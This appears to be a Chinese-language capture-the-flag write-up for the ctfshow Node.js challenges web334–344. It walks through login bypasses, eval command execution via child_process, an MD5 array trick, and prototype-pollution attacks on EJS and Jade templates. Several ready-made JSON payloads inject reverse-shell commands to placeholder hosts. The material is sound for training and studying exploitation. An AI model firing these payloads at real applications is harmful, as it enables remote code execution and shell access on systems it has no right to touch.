ctfshow Nodejs

目录

<1> web334(大小写判断)

<2> web335(无过滤execSync()执行命令)

<3> web336(spawnSync()执行命令)

<4> web337(数组绕过md5===)

<5> web338(原型链污染)

<6> web339

(1) 方法1:ejs原型链污染

(2) 方法2:变量覆盖query

<7> web340(污染两级__proto__)

<8> web341(打ejs-rce)

<9> web342、343(jade原型链污染)

<10> web344(过滤逗号绕过)


<1> web334(大小写判断)

下载附件,在user.js 得到item 里username和password值:

items: [
    {username: 'CTFSHOW', password: '123456'}
  ]

查看login.js

var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});

module.exports = router;

 post传入username、password参数,满足下面

name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

 name进行toUpperCase() === CTFSHOW 且name不为CTFSHOW password得为123456

post传入 name=Ctfshow&password=123456即可

ctfshow Nodejs_第1张图片

<2> web335(无过滤execSync()执行命令)

ctfshow Nodejs_第2张图片

ctfshow Nodejs_第3张图片

?eval=require('child_process').exec('ls');

 eval中可以执行js代码,我们构造执行ls命令,发现回显为 [object Object]

猜测其代码为代码为eval('console.log(xxx)').
涉及同步和异步的问题我们使用的exec是异步进程,在我们输入ls,查取目录时,就已经eval执行了,所以我们要使用创造同步进程的函数 execSync

?eval=require('child_process').execSync('ls');
?eval=require('child_process').execSync('cat fl00g.txt');

?eval=require('child_process').spawnSync('ls').stdout.toString()
?eval=require('child_process').spawnSync('cat', ['fl001g.txt']).stdout.toString()

?eval=global.process.mainModule.constructor._load('child_process').exec('calc')

<3> web336(spawnSync()执行命令)

有过滤,spawnSync绕过一下

?eval=require('child_process').spawnSync('ls').stdout.toString();
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString();

经过测试,这里是过滤了exec,需要绕过

还有一种方式  字符拼接

?eval=require("child_process")['exe'%2B'cSync']('ls')

<4> web337(数组绕过md5===)

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

满足 a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)

MD5强比较 数组绕过

?a[a]=0&b[a]=1

<5> web338(原型链污染)

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }


});

module.exports = router;

body的内容可以解析json,同时存在 utils.copy(user,req.body);

function copy(object1, object2){
   for (let key in object2) {
       if (key in object2 && key in object1) {
           copy(object1[key], object2[key])
       } else {
           object1[key] = object2[key]
       }
   }
 }

在这里可以借user给 Object 添加"__proto__"属性为{"ctfshow":"36dboy"},修改object的原型对象,构造原型链污染。 使得object的实例secert在用到ctfshow的属性时,查找 object.__proto__ 找到36dboy 使 if(secert.ctfshow==='36dboy')返回ture

ctfshow Nodejs_第4张图片

<6> web339

(1) 方法1:ejs原型链污染

上一文有提到ejs

现成payload:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/port 0>&1\"');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/port 0>&1\"');var __tmp2"}}
{ "constructor": { "prototype": { "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"');var __tmp2"} } }

 接着post访问api.js就可以反弹shell了

ctfshow Nodejs_第5张图片

(2) 方法2:变量覆盖query

login.js

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }

这里flag不知道是什么,不能污染ctfshow了

比之前的加了一个api.js 

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

 重点看这个:

 res.render('api', { query: Function(query)(query)});

这个render函数实际上是渲染函数,会在出现特定请求的时候执行特定操作

和 P神出的 Code-Breaking 2018 Thejs 如出一辙即可以 RCE,这里可污染点存在的匿名函数调用

 post 访问api

{"username":"aa","password":"aa","__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"')"}}

<7> web340(污染两级__proto__)

 index.js 改变了

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }

需要满足 user.userinfo.isAdmin为真。

依然可以利用 utils.copy(user.userinfo,req.body),这里并不能直接传入

{"__proto__":{"isAdmin":true}} 因为查找顺序的原因,找到userinfo这一级直接就找到了isAdmin 为false。

userinfo 的原型不是 Object 对象, userinfo.__proto__.__proto__ 才是 Object 对象 

这里可以向上污染两级,利用api.js 里的query参数rce

污染一级的话,user是查找不到我们构造的query的 user.query不可控

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
}
var user = new function(){
    this.userinfo = new function(){
        this.isVIP = false;
        this.isAdmin = false;
        this.isAuthor = false;
    };
}
//body=JSON.parse('{"__proto__":{"query":"123"}}');
body=JSON.parse('{"__proto__":{"__proto__":{"query":"123"}}}');
copy(user.userinfo,body);
console.log(user.__proto__);
console.log(user.__proto__.__proto__)
console.log(user.userinfo.__proto__);
console.log(user.userinfo.__proto__.__proto__)

ctfshow Nodejs_第6张图片 再来看一下污染两级时: 可以看到污染到了 [Object: null prototype]

ctfshow Nodejs_第7张图片

 此时 user.query就可控了

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"')"}}}

<8> web341(打ejs-rce)

和web140类似,不过这个少了api.js   不能向上两级污染覆盖query参数rce了

但是这道题开启了ejs渲染

 ejs打原型链

直接用现成payload:

{"username":"a","password":"a","__proto__":{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"'); //"}}}

ctfshow Nodejs_第8张图片

<9> web342、343(jade原型链污染)

jade原型链污染 参考:https://xz.aliyun.com/t/7025

{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}

 在login页面打上去之后随便访问下,就会反弹

 ctfshow nodejs篇 - TARI TARI

<10> web344(过滤逗号绕过)

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

 应该传入

?query={"name":"admin","password":"ctfshow","isVIP":true}

但是题目把逗号和他的url编码给过滤掉了,所以需要绕过。

payload:

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

nodejs中会把这三部分拼接起来,为什么把ctfshow中的c编码呢,因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式

参考:

 sjeodhttps://blog.csdn.net/miuzzx/anrticle/details/111780832

你可能感兴趣的:(ctfshow,javascript)